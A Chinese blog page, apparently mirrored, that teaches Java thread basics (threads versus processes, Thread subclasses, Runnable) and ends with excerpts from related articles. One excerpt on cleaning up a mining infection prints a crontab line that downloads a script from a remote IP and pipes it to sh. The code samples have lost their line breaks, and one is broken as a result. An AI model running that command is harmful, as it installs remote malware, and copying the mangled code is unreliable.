当前位置: 首页 > news >正文

Java多线程-初阶1

 博主主页: 码农派大星.

    数据结构专栏:Java数据结构

 数据库专栏:MySQL数据库

JavaEE专栏:JavaEE

关注博主带你了解更多数据结构知识


1. 认识线程(Thread)

1.线程是什么

⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代码. 多个线程之间 "同时" 执⾏ 着多份代码

2. 为啥要有线程

通过写特殊的代码,把多个cpu核心,都能利用起来,这样的代码就叫并发编程.

多进程编程就是一种典型的并发编程.

虽然多进程能够解决问题,但随着对效率的要求越来越高,就希望出现更好的方式来实现并发编程.

多进程的缺点就是太"重".

创建进程,销毁进程(最典型就是服务器开发),开销都比较大(时间,空间).

虽然多进程也能实现 并发编程, 但是线程⽐进程更轻量.

创建线程⽐创建进程更快.

• 销毁线程⽐销毁进程更快.

• 调度线程⽐调度进程更快

线程虽然⽐进程轻量, 但是⼈们还不满⾜, 于是⼜有了 "线程池"(ThreadPool) 和 "协程" (Coroutine)

3.进程和线程的区别

进程是包含线程的. 每个进程⾄少有⼀个线程存在,即主线程。

进程和进程之间不共享内存空间. 同⼀个进程的线程之间共享同⼀个内存空间.

进程是系统分配资源的最⼩单位,线程是系统调度的最⼩单位

⼀个进程挂了⼀般不会影响到其他进程. 但是⼀个线程挂了, 可能把同进程内的其他线程⼀起带⾛(整个进程崩溃).

4.Java 的线程和操作系统线程的关系

线程是操作系统中的概念. 操作系统内核实现了线程这样的机制, 并且对⽤⼾层提供了⼀些 API 供⽤⼾ 使⽤(例如 Linux 的 pthread 库).

Java 标准库中 Thread 类可以视为是对操作系统提供的 API 进⾏了进⼀步的抽象和封装.

5. 创建线程 

⽅法1 继承 Thread 类

继承 Thread 来创建⼀个线程类.

class MyThread extends Thread{@Overridepublic void run() {//这里就是即将创建线程,要执行的逻辑System.out.println("hello,Thread!");}
}
public class Demo1 {public static void main(String[] args) {MyThread t = new MyThread();//创建线程t.start();}
}

 创建 MyThread 类的实例

MyThread t = new MyThread();

调⽤ start ⽅法启动线程 

t.start();

⽅法2 实现 Runnable 接⼝ 

实现 Runnable 接⼝

class MyRunnable implements Runnable{@Overridepublic void run() {System.out.println("hello Runnable!");}
}
public class Demo2 {public static void main(String[] args) {MyRunnable runnable = new MyRunnable();Thread t = new Thread(runnable);t.start();}
}

创建 Thread 类实例, 调⽤ Thread 的构造⽅法时将 Runnable对象作为 Thread 参数.

 Thread t = new Thread(runnable);

调⽤ start ⽅法

 t.start();

其他变形 

匿名内部类创建 Thread ⼦类对象

public class Demo3 {public static void main(String[] args) {Thread t = new Thread(){@Overridepublic void run() {while (true){System.out.println("hello Thread!");try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}}}};t.start();}
}

相关文章:

Java多线程-初阶1

博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 关注博主带你了解更多数据结构知识 1. 认识线程(Thread) 1.线程是什么 ⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代…...

C++二级指针的指向与解引用

本文算是作者对于二级指针学习的一些总结或者说是刨根问底,如果有表述错误,还请各位大神指正。 我们首先定义一个整型a,令a 5,再分别定义指针p和二级指针ptr int a 5; int *p &a; int **ptr &p;我们不妨假设a的地址是…...

Pandas处理时间差的4种表达方式

在Pandas中处理时间差(timedelta)时,有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息: 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…...

C语言---指针part2

指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...

DNS域名

DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中&#xff0c;ip地址是通信的唯一标识 访问网站&#xff0c;域名&#xff0c;ip地址不好记&#xff0c;域名朗朗上口&#xff0c;好记。 域名解析的目的就是为了实现&#xff0c;访问域名就等于访问ip地址…...

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)

19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务&#xff1a; * * * * * wget -q -O - http://1…...

【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】

文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...

ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案

参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...

iphone突然黑屏?3种方法解决问题!

iphone突然黑屏这应该是出现了iOS系统故障。一般来说&#xff0c;无摔落、浸水等情况造成设备出现硬件问题&#xff0c;多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的&#xff0c;但还是可能因各种使用情况出现不一样的iOS系统问题&#xff0c;包括升级、越狱、安装…...

nn.GRU和nn.GRUCell区别

nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...

Coolmuster Android助手评测:简化Android到电脑的联系人传输

产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能&#xff0c;成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...

【杂记-webshell恶意脚本木马】

一、webshell概述及分类 概述 webshell&#xff0c;通常作为web应用管理工具&#xff0c;运维人员可以通过 webshell &#xff08;服务器管理工具&#xff09;针对 web 服务器进行日常的运维管理以及系统上线更新等&#xff0c;攻击者也可以通过 webshell &#xff08;后门程序…...

锻炼 精读笔记 01

元数据 [!abstract] 锻炼 书名&#xff1a; 锻炼作者&#xff1a; 丹尼尔利伯曼简介&#xff1a; 我们是为休息而生&#xff0c;还是为跑而生&#xff1f; 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我&#xff1f; 懒惰是不正常的行为吗&#xff1f; 每晚都需要睡够 8 个小时…...

基于pytorch的车牌识别

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...

红酒:如何避免红酒过度氧化

红酒过度氧化是影响其品质的重要因素&#xff0c;尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感&#xff0c;变得平淡无味。因此&#xff0c;避免红酒过度氧化至关重要。以下是一些进一步的措施&#xff0c;可以帮助您保护云仓酒庄雷盛红酒的品质&#xff1…...

FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)

一、什么是信号量 信号量是一种队列&#xff0c;用于任务间同步和资源管理的机制&#xff0c;主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”&#xff0c;用来在不同的任务之间进行沟通和协调&#xff0c;确保它们能够正确地配合工作&#xff0c;不会互相干扰。 二、二…...

归并排序——二路归并排序

目录 1、简述 2、复杂度 3、稳定性 4、例子 1、简述 二路归并排序&#xff08;Merge Sort&#xff09;是一种基于分治法的排序算法&#xff0c;通过将数组递归地拆分成两部分&#xff0c;分别排序后再合并&#xff0c;从而实现整个数组的有序。二路归并排序具有稳定性和高…...

java-StringBuilder

StringBuilder 是 Java 中一个重要的类&#xff0c;它提供了可变的字符序列&#xff0c;可以用来高效地执行字符串操作&#xff0c;如拼接、替换和删除等。在 Java 编程中&#xff0c;字符串操作是非常常见的&#xff0c;而 StringBuilder 类为我们提供了简单、高效的方式来完成…...

数据结构 | 超详细讲解七大排序(C语言实现,含动图,多方法!)

目录 ​编辑 排序的概念 常见排序算法 ​编辑 1.冒泡排序 &#x1f379;图解 &#x1f973;代码实现 &#x1f914;时间复杂度 2.插入排序 &#x1f379;图解 &#x1f334;深度剖析 &#x1f34e;代码思路 &#x1f973;代码实现 &#x1f914;时间复杂度 3.希尔…...

考虑浆液黏度时变性与重力效应的注浆压力作用下隧道围岩变形的流固耦合动态分析模型 基于6.1版本...

考虑浆液黏度时变性与重力效应的注浆压力作用下隧道围岩变形的流固耦合动态分析模型 基于6.1版本 可视化结果&#xff1a;位移大小&#xff08;时间、应力不同而不同&#xff09;、应力分布、 打开COMSOL 6.1新建模型时&#xff0c;突然发现隧道注浆模拟要考虑浆液黏度的时间变…...

Linux内核设计哲学:你我承载力的艺术(续)

第七部&#xff1a;设备驱动——与不完美的世界和解7.1 你不是主人&#xff0c;你是仆人设备驱动是内核中最“卑微”的组件。它不和用户直接打交道&#xff0c;不参与核心决策&#xff0c;甚至不拥有任何资源。它只是硬件的翻译官——把内核的标准请求翻译成硬件能懂的指令&…...

2026上海紧固件专业展6月24-26日国家会展中心(上海)举办

2026第十六届上海紧固件专业展&#xff08;Fastener Expo Shanghai 2026&#xff09;将于6月24日至26日在国家会展中心&#xff08;上海&#xff09;举办。本届展会围绕紧固件全产业链展开&#xff0c;涵盖紧固件成品、冷镦成型设备、模具耗材、检测包装、表面处理以及原材料供…...

7个技巧构建Telegraf高可用监控系统:从单点到企业级架构

7个技巧构建Telegraf高可用监控系统&#xff1a;从单点到企业级架构 你是否遇到过监控数据丢失、告警延迟或Agent单点故障&#xff1f;作为插件驱动的服务器代理&#xff08;Plugin-driven server agent&#xff09;&#xff0c;Telegraf在企业级监控中扮演关键角色&#xff0…...

tao-8k性能优化小技巧:如何提升向量化与检索速度

tao-8k性能优化小技巧&#xff1a;如何提升向量化与检索速度 1. 理解tao-8k的性能瓶颈 1.1 模型架构特点 tao-8k作为支持8192长度上下文的嵌入模型&#xff0c;其核心优势在于长文本处理能力。然而&#xff0c;这种能力也带来了独特的性能挑战&#xff1a; 计算复杂度&…...

百考通:AI精准赋能开题报告,让学术研究全流程智能化

对于每一位学子与科研人而言&#xff0c;开题报告是学术研究的“第一粒扣子”&#xff0c;它不仅是研究方向的蓝图&#xff0c;更是顺利推进论文写作、获得导师认可的关键。然而&#xff0c;选题迷茫、文献梳理繁琐、逻辑框架搭建困难等问题&#xff0c;常常让开题之路步履维艰…...

2026最权威的十大降AI率助手推荐

Ai论文网站排名&#xff08;开题报告、文献综述、降aigc率、降重综合对比&#xff09; TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 把维普平台针对 AI 生成内容的检测机制作为对象&#xff0c;要降低论文 AI 率得从语言重构以…...

VR摩托车|沉浸式交通安全教育的新方向

在交通安全教育不断创新的今天&#xff0c;如何让参与者真正理解风险、形成安全意识&#xff0c;成为教育场景中的关键问题。传统的宣讲与视频观看虽然信息完整&#xff0c;却常因缺乏代入感而难以真正触动体验者。而“VR摩托车”作为一款结合虚拟现实技术、实景交互系统和交通…...

AI机器视觉+振镜控制:基于OpenCV的无序工件全自动定位打标

引言 工业激光打标场景中,无序工件的定位难题一直制约着自动化产能提升——传统工装定位换型成本高、人工摆料误差大,固定视觉方案无法适配工件360旋转姿态。本文提出一套基于OpenCV机器视觉+振镜联动的全自动定位打标方案,无需专用工装,通过AI视觉实现无序工件亚像素级定位…...

重构文献预览体验:Zotero PDF Preview让学术效率提升70%的无缝解决方案

重构文献预览体验&#xff1a;Zotero PDF Preview让学术效率提升70%的无缝解决方案 【免费下载链接】zotero-pdf-preview Preview Zotero attachments in the library view. 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-pdf-preview 一、场景化痛点&#xff1a…...